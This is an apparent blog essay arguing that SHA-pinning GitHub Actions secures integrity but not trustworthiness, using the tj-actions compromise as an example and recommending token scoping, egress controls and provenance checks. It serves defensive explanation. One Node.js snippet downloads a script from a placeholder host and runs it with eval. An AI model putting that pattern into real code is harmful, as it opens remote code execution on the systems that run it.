The security recommendation has become rote: pin your GitHub Actions to a full commit SHA instead of a tag. Tools enforce it, scorecards reward it, and onboarding guides treat it as a prerequisite for any serious CI pipeline. This recent post by Vaines calls that framing a comforting lie, and the critique is grounded.
SHA pinning solves one problem: tag mutation. It leaves the actual problem, arbitrary code execution from third-party actions, entirely untouched.
What the Pin Actually Locks
A tag reference like actions/checkout@v4 resolves at runtime. The repository owner can delete the tag, push a new commit, and recreate the tag pointing to the new commit. Your workflow will pull the new code the next time it runs. You audited nothing.
A SHA reference like actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 is different. Git commit objects are content-addressed: the hash is computed over the commit message, author, timestamp, parent commits, and the full file tree. You cannot change any of those fields without changing the hash. If GitHub resolves that OID, you get exactly those bytes.
This is a real and meaningful property. It is also a narrow one. The pin guarantees that what you run is identical to what existed at that SHA when you pinned it. It says nothing about whether that code is safe to run.
Security literature distinguishes these as integrity and trustworthiness. They are orthogonal. A SHA-pinned action can have perfect integrity and be completely unsafe.
The tj-actions Incident
In March 2025, attackers compromised tj-actions/changed-files, an action used by tens of thousands of repositories. The initial access traced back through a cascading compromise: credentials from the reviewdog action ecosystem were used to obtain a token belonging to a tj-actions maintainer, which was then used to push malicious code directly to the repository. The payload dumped workflow secrets to the run log.
The attackers updated the existing version tags to point to the malicious commit. Any repository referencing tj-actions/changed-files@v35 by tag ran the exfiltration code on their next workflow execution, with no warning.
Repositories that had pinned to a specific commit SHA continued running the old, uncompromised code. This is the scenario SHA pinning was designed for, and it worked.
But the incident also shows where the control ends. The attack succeeded at scale because the dominant usage pattern was tag references. The window between compromise and detection was several days. During that window, any Dependabot or Renovate bot that had been configured to update SHA pins opened pull requests pointing to the malicious commit, because that commit was now what the v35 tag referenced. Repositories with auto-merge enabled for dependency update PRs moved onto the compromised code despite having been SHA-pinned beforehand.
The tooling that makes SHA pinning operationally manageable, automated update bots, creates exactly the exposure that SHA pinning is supposed to prevent. You cannot have both fully automated pin updates and reliable protection against compromised upstream releases.
The Nested Reference Problem
Even setting aside the auto-update question, SHA pinning has a structural gap that most explanations skip. A composite action at a pinned SHA can itself reference other actions by tag:
# action.yml at your pinned SHA abc123...
runs:
using: composite
steps:
- uses: some-tool/setup@v2 # resolved at runtime from the tag
Your pin is intact. The outer action.yml is exactly the bytes you expect. But some-tool/setup@v2 is resolved fresh at workflow runtime from whatever the tag currently points to. If that upstream action is compromised after you pinned the outer action, you are running the malicious code. The GitHub Actions documentation acknowledges this but it rarely surfaces in the “pin your actions” guidance.
The runtime fetch problem goes further. A Node.js action at a pinned SHA can do this:
const https = require('https');
https.get('https://example.com/latest.js', (res) => {
let payload = '';
res.on('data', chunk => payload += chunk);
res.on('end', () => eval(payload));
});
The SHA is perfect. The code at that SHA downloads and executes arbitrary remote content. Many legitimate actions do something structurally similar, fetching tool binaries from CDNs or package registries as part of their setup process. SHA pinning cannot distinguish between legitimate runtime fetches and malicious ones.
Why Docker SHAs Are Different
This is worth contrasting with Docker image SHA pinning, because the two are often mentioned in the same breath.
A Docker image referenced by digest (docker://node@sha256:a1b2c3...) has a fixed filesystem. The OCI image digest is a SHA-256 hash over the image manifest, which in turn references all the layer digests. Every file in the container is determined by the digest. Unless the container’s entrypoint makes network calls, what executes is entirely determined by what you pinned.
A git commit SHA pins the source tree, including scripts that have full network access. The hermetic property that makes Docker digest pinning meaningful does not transfer to git commit pinning.
This is not a reason to avoid SHA pinning for Actions. It is a reason to understand what the control actually provides.
What Reduces the Actual Blast Radius
The OpenSSF Scorecard awards full credit on its Pinned-Dependencies check when all uses: fields contain commit SHAs. A repository can score perfectly on this check while running actions that fetch arbitrary remote payloads, while using pull_request_target triggers that expose write access to fork PRs, and while granting GITHUB_TOKEN permissions far beyond what the workflow requires.
The controls that actually constrain what a compromised action can do are different.
Token permissions set an upper bound on damage. Most workflows can operate with permissions: contents: read. Explicitly scoping down permissions means a compromised action that exfiltrates GITHUB_TOKEN obtains a token with limited capabilities rather than broad repository write access.
Network egress controls address the runtime fetch problem that SHA pinning cannot. StepSecurity’s harden-runner can enforce an allowlist of permitted outbound endpoints:
- uses: step-security/harden-runner@v2
with:
egress-policy: block
allowed-endpoints: >
api.github.com:443
registry.npmjs.org:443
This blocks unexpected outbound connections before they can exfiltrate anything, regardless of whether the action code at the pinned SHA was audited.
SLSA provenance attestation shifts the question from “did I pin to the right SHA” to “can I verify who built this artifact and from what source.” GitHub’s artifact attestation, built on Sigstore, records cryptographically verifiable provenance: which repository produced the artifact, during which workflow run, at which commit. Verification:
gh attestation verify my-artifact.tar.gz \
--owner my-org \
--repo my-repo
This is a stronger trust model than SHA pinning because it establishes provenance rather than just integrity. You are not just verifying that the bytes match a hash; you are verifying that a specific GitHub-attested build process produced them.
The Comparison with Other Ecosystems
Other package ecosystems have navigated this same integrity-versus-trustworthiness gap. npm’s package-lock.json records SHA-512 hashes for every package tarball. Cargo’s Cargo.lock records checksums for every crate, backed by an immutable registry. Go’s go.sum uses a transparency log conceptually similar to Sigstore’s Rekor.
All of these verify the integrity of what gets installed. None of them prevent a malicious or compromised package at a locked version from doing whatever it does at runtime. The event-stream incident in npm (2018) and the tj-actions compromise in GitHub Actions (2025) are structurally identical problems separated by a seven-year gap. Locking coordinates and hashes is table stakes; the actual risk lives in what the locked code does.
What SHA Pinning Is Good For
None of this means SHA pinning is worthless. Tag mutation is a real attack vector, and SHA pinning eliminates it cleanly. Given that it costs almost nothing operationally (Dependabot handles the mechanical work), not doing it is hard to justify.
The problem is the framing. SHA pinning gets treated as the primary supply chain security control rather than one narrow safeguard among several. Scorecards reward it. Checklists lead with it. The # v4.2.2 comment pattern makes it feel thorough and auditable.
The actual security posture requires: SHA pinning plus scoped-down token permissions plus egress controls plus SLSA provenance for artifacts you publish plus real review of action update pull requests. SHA pinning is the floor. Treating it as the ceiling leaves the window open to exactly the class of attack that compromised tj-actions at scale.
Integrity guarantees that what runs is what you pinned. Trustworthiness is a separate question that SHA pinning was never designed to answer.